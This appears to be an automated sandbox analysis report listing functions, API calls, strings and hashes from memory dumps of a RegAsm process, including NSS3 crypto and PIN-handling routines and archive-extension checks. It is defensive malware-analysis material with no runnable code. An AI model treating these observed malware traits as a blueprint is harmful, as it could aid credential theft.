Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$Create_memset$FileObjectProcessSingleSystemTimeWait
String ID: .exe$58cd250b15e666e5f72fcf5caa6cb131
API String ID: 141474312-2108995284
Opcode ID: cab830d2952c75c3adca644ea8a5d519e7d3585579938c5ce539dd59e8bb74a1
Instruction ID: afe535c3ca22ee26f13a18fa03d9d10f7d6f921679ada46fd1a294ce66a4e411
Opcode Fuzzy Hash: cab830d2952c75c3adca644ea8a5d519e7d3585579938c5ce539dd59e8bb74a1
Instruction Fuzzy Hash: 667110B1E4012DABCF21EF65DD45BCE7779AB04308F4114BAB608B7051D678AF898F98

Function 0041398B Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 127stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,block,?,?,0041770D), ref: 004139A0
ExitProcess.KERNEL32 ref: 004139AB
strtok_s.MSVCRT ref: 004139BC

Strings

block, xrefs: 00413994
wA, xrefs: 004139B5, 004139B8

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: wA$block
API String ID: 3407564107-2326475426
Opcode ID: 00e835cb47703e009ab1db9962fb5ca50efaaacb4136224c34a252617d2e579e
Instruction ID: 3fecc6b50b014ee560bff368e5c23b1bac730c7e19431406c689e344f5713ad5
Opcode Fuzzy Hash: 00e835cb47703e009ab1db9962fb5ca50efaaacb4136224c34a252617d2e579e
Instruction Fuzzy Hash: 15417270E04306FBDB44AF74DC8AA9A7B6CBF0474BB205466F403D2190F7B997808B98

Function 6C1E4E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C1E4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C1E4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E4EC7

Part of subcall function 6C2CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C2CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C1E4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C1E4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C1E4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C1E4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C1E4F68

Strings

hSession = 0x%x, xrefs: 6C1E4EA2, 6C1E4EB2
(CK_INVALID_HANDLE), xrefs: 6C1E4EC0, 6C1E4F13
n,l, xrefs: 6C1E4F82, 6C1E4FB2
C_GetAttributeValue, xrefs: 6C1E4E7E
ulCount = %d, xrefs: 6C1E4F63
hObject = 0x%x, xrefs: 6C1E4EF5, 6C1E4F05
pTemplate = 0x%p, xrefs: 6C1E4F4A

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$n,l
API String ID: 1003633598-1170522481
Opcode ID: c104314995a6ce5f235118a220e136e4b37967b522e1b0b838f7e29789cc18f3
Instruction ID: bf131352265da793bd8374fed7c1d05c0e9ce7643021350e48f90028f6aeddb9
Opcode Fuzzy Hash: c104314995a6ce5f235118a220e136e4b37967b522e1b0b838f7e29789cc18f3
Instruction Fuzzy Hash: 7B412774701148AFDB00DF94DD89F9A37B9EB5671DF054068FC0897E11DB39A908CBA2

Function 6C1E4CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C1E4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C1E4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E4D37

Part of subcall function 6C2CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C2CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C1E4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C1E4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C1E4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C1E4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C1E4E20

Strings

pulSize = 0x%p, xrefs: 6C1E4DB7
hSession = 0x%x, xrefs: 6C1E4D12, 6C1E4D22
(CK_INVALID_HANDLE), xrefs: 6C1E4D30, 6C1E4D83
C_GetObjectSize, xrefs: 6C1E4CEE
n,l, xrefs: 6C1E4DD4, 6C1E4DFF
*pulSize = 0x%x, xrefs: 6C1E4E1B
hObject = 0x%x, xrefs: 6C1E4D65, 6C1E4D75

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$n,l
API String ID: 1003633598-1352789624
Opcode ID: 3b8045c441a7ee2e694650b9f9dfb0740af9df8b01ad73c30947be422e7417af
Instruction ID: 0913d6725531f8c2dc780d0d52abecfc93102f93d9a1cd36eb1a7ffa7339783a
Opcode Fuzzy Hash: 3b8045c441a7ee2e694650b9f9dfb0740af9df8b01ad73c30947be422e7417af
Instruction Fuzzy Hash: C0412575600248AFDB00DF90DD89BAA37B9FB5A71DF054028FC08ABE11DB359858CB92

Function 6C1E2F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C1E2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C1E2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E2F63

Part of subcall function 6C2CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C2CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C1E2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C1E2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C1E2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C1E2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C1E2FE7

Strings

hSession = 0x%x, xrefs: 6C1E2F3E, 6C1E2F4E
(CK_INVALID_HANDLE), xrefs: 6C1E2F5C
n,l, xrefs: 6C1E2FFF, 6C1E3030
pNewPin = 0x%p, xrefs: 6C1E2FC9
pOldPin = 0x%p, xrefs: 6C1E2F95
ulNewLen = %d, xrefs: 6C1E2FE2
C_SetPIN, xrefs: 6C1E2F21
ulOldLen = %d, xrefs: 6C1E2FB0

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$n,l
API String ID: 1003633598-2918854871
Opcode ID: 377fef9248785caf7ef59aefca2093d5165631dc60b9867dda243c070a4c97d4
Instruction ID: df5c0fab872e517d7a234c14d1eabbf6ef125beb4dba78d3da16fa72c6a9cf6f
Opcode Fuzzy Hash: 377fef9248785caf7ef59aefca2093d5165631dc60b9867dda243c070a4c97d4
Instruction Fuzzy Hash: 9B312475601249AFCB00CF54DD4DF8A37B5EB4B729F484164FC08A7A11DB319808CB92

Function 0041B83A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,759183C0,00000000,0041C525,?), ref: 0041B83F
StrCmpCA.SHLWAPI(759183C0,0043613C), ref: 0041B86D
StrCmpCA.SHLWAPI(759183C0,.zip), ref: 0041B87D
StrCmpCA.SHLWAPI(759183C0,.zoo), ref: 0041B889
StrCmpCA.SHLWAPI(759183C0,.arc), ref: 0041B895
StrCmpCA.SHLWAPI(759183C0,.lzh), ref: 0041B8A1
StrCmpCA.SHLWAPI(759183C0,.arj), ref: 0041B8AD
StrCmpCA.SHLWAPI(759183C0,.gz), ref: 0041B8B9
StrCmpCA.SHLWAPI(759183C0,.tgz), ref: 0041B8C5

Strings

.zoo, xrefs: 0041B883
.gz, xrefs: 0041B8B3
.arc, xrefs: 0041B88F
.lzh, xrefs: 0041B89B
.zip, xrefs: 0041B877
.arj, xrefs: 0041B8A7
.tgz, xrefs: 0041B8BF

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction ID: 84e0ba9b9691a3fd2044bafd44d8a213bd49bf31f301437cc6cd5746c5a5d347
Opcode Fuzzy Hash: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction Fuzzy Hash: C5015231A81327F19A223A32AD42FFF1A5CCD86F847155437EC00A2189DB5CD98755FE

Function 6C208E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C208E01,00000000,6C209060,6C310B64), ref: 6C208E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C208E01,00000000,6C209060,6C310B64), ref: 6C208E9E
PORT_ArenaAlloc_Util.NSS3(6C310B64,00000001,?,?,?,?,6C208E01,00000000,6C209060,6C310B64), ref: 6C208EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C208E01,00000000,6C209060,6C310B64), ref: 6C208EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C208E01,00000000,6C209060,6C310B64), ref: 6C208ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C208E01,00000000,6C209060,6C310B64), ref: 6C208EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C208E01), ref: 6C208EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C310B64,6C310B64), ref: 6C208F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C208F3F

Part of subcall function 6C20A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C20A421,00000000,00000000,6C209826), ref: 6C20A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C20904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C208E76

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: f9db4a914b4baaa1c05434f0c4c7103979e0ef9ccfa083a2ee042f500b5bc5d5
Instruction ID: 9b39a2cac09fa388e28e2670bed6f4e3ef944147d678e267c8b3fc5b5498d22b
Opcode Fuzzy Hash: f9db4a914b4baaa1c05434f0c4c7103979e0ef9ccfa083a2ee042f500b5bc5d5
Instruction Fuzzy Hash: 6361A4B5E0010E9BDB10DF55CC84AABB7B6FF84359F144129EC19A7700EB31A925CBA1

Function 6C1B8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C1B8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C1B8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C1B8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C2E18D0,?), ref: 6C1B8F03
PR_CallOnce.NSS3(6C312AA4,6C2112D0), ref: 6C1B8F19
PL_FreeArenaPool.NSS3(?), ref: 6C1B8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C1B8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C1B8F65
PL_FinishArenaPool.NSS3(?), ref: 6C1B8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C1B8FFE
PR_CallOnce.NSS3(6C312AA4,6C2112D0), ref: 6C1B9012
PL_FreeArenaPool.NSS3(?), ref: 6C1B9024
PL_FinishArenaPool.NSS3(?), ref: 6C1B902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C1B903E

Strings

security, xrefs: 6C1B8EE7

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 6a5b3920d95af8b5844af332b7f9a0301a7b9890256d89baa82553273ab9a5e0
Instruction ID: da0735fe64fb9bcbb9d2bbb98d3fe619ac73f6147596bd96f4e0aea11c463c9c
Opcode Fuzzy Hash: 6a5b3920d95af8b5844af332b7f9a0301a7b9890256d89baa82553273ab9a5e0
Instruction Fuzzy Hash: C65128B160C205ABF7109A149C81BAB73E8EB96B5CF45082EFD54A7F40E775D908CB63

Function 6C27CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C27CC7B), ref: 6C27CD7A

Part of subcall function 6C27CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C1EC1A8,?), ref: 6C27CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C27CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C27CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C27CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C27CD8E

Part of subcall function 6C1A05C0: PR_EnterMonitor.NSS3 ref: 6C1A05D1
Part of subcall function 6C1A05C0: PR_ExitMonitor.NSS3 ref: 6C1A05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C27CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C27CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C27CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C27CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C27CE48

Strings

getaddrinfo, xrefs: 6C27CD88, 6C27CDF9
ws2_32.dll, xrefs: 6C27CD75
freeaddrinfo, xrefs: 6C27CD9F, 6C27CE10
wship6.dll, xrefs: 6C27CDE3
getnameinfo, xrefs: 6C27CDB2, 6C27CE23

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 5b1d049a045c6dd267b669e33e2cd8b0f2805fb340db7ce386e5c59fd211d13b
Instruction ID: 65b3122a95e3143f0beffcda1e8274fbc03432ce183431c2b904a8a37a19b72b
Opcode Fuzzy Hash: 5b1d049a045c6dd267b669e33e2cd8b0f2805fb340db7ce386e5c59fd211d13b
Instruction Fuzzy Hash: 9111D6B9E1321A57D721EAB62C41AEA389C5B1750DF580535FC06E1F01FB31C51986F6

Function 6C220C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,"l), ref: 6C220C81

Part of subcall function 6C20BE30: SECOID_FindOID_Util.NSS3(6C1C311B,00000000,?,6C1C311B,?), ref: 6C20BE44

Part of subcall function 6C1F8500: SECOID_GetAlgorithmTag_Util.NSS3(6C1F95DC,00000000,00000000,00000000,?,6C1F95DC,00000000,00000000,?,6C1D7F4A,00000000,?,00000000,00000000), ref: 6C1F8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C220CC4

Part of subcall function 6C20FAB0: free.MOZGLUE(?,-00000001,?,?,6C1AF673,00000000,00000000), ref: 6C20FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C220CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C220D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C220D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C220D7D
free.MOZGLUE(00000000), ref: 6C220DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C220DC1
free.MOZGLUE(00000000), ref: 6C220DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C220E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C220E0F

Part of subcall function 6C1F95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C1D7F4A,00000000,?,00000000,00000000), ref: 6C1F95E0
Part of subcall function 6C1F95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C1D7F4A,00000000,?,00000000,00000000), ref: 6C1F95F5
Part of subcall function 6C1F95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C1F9609
Part of subcall function 6C1F95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C1F961D
Part of subcall function 6C1F95C0: PK11_GetInternalSlot.NSS3 ref: 6C1F970B
Part of subcall function 6C1F95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C1F9756
Part of subcall function 6C1F95C0: PK11_GetIVLength.NSS3(?), ref: 6C1F9767
Part of subcall function 6C1F95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C1F977E
Part of subcall function 6C1F95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C1F978E

Strings

-$"l, xrefs: 6C220C64
*,"l, xrefs: 6C220DCC
*,"l, xrefs: 6C220C69, 6C220DE0, 6C220C80, 6C220C8B, 6C220CAF

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,"l$*,"l$-$"l
API String ID: 3136566230-732375104
Opcode ID: 217d03ae2c7429a71e4ef2c730a0be7fd3684d47ed43580b9533351c79f42031
Instruction ID: f3e35f846929ca85dd0016972b01544949a76ac89743de3269275212737be788
Opcode Fuzzy Hash: 217d03ae2c7429a71e4ef2c730a0be7fd3684d47ed43580b9533351c79f42031
Instruction Fuzzy Hash: DF41D4B5E0124AABEB009F64DC55BEF7A74EF04309F100428ED1567741E739EA18CBE2

Function 6C216CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C2E1DE0,?), ref: 6C216CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C216D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C216D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C216D82
DER_GetInteger_Util.NSS3(?), ref: 6C216DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C216DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C216E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C216F19
PK11_DigestBegin.NSS3(00000000), ref: 6C216F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C216F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C217011
PK11_FreeSymKey.NSS3(00000000), ref: 6C217033
free.MOZGLUE(?), ref: 6C21703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C217060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C217087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C2170AF

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

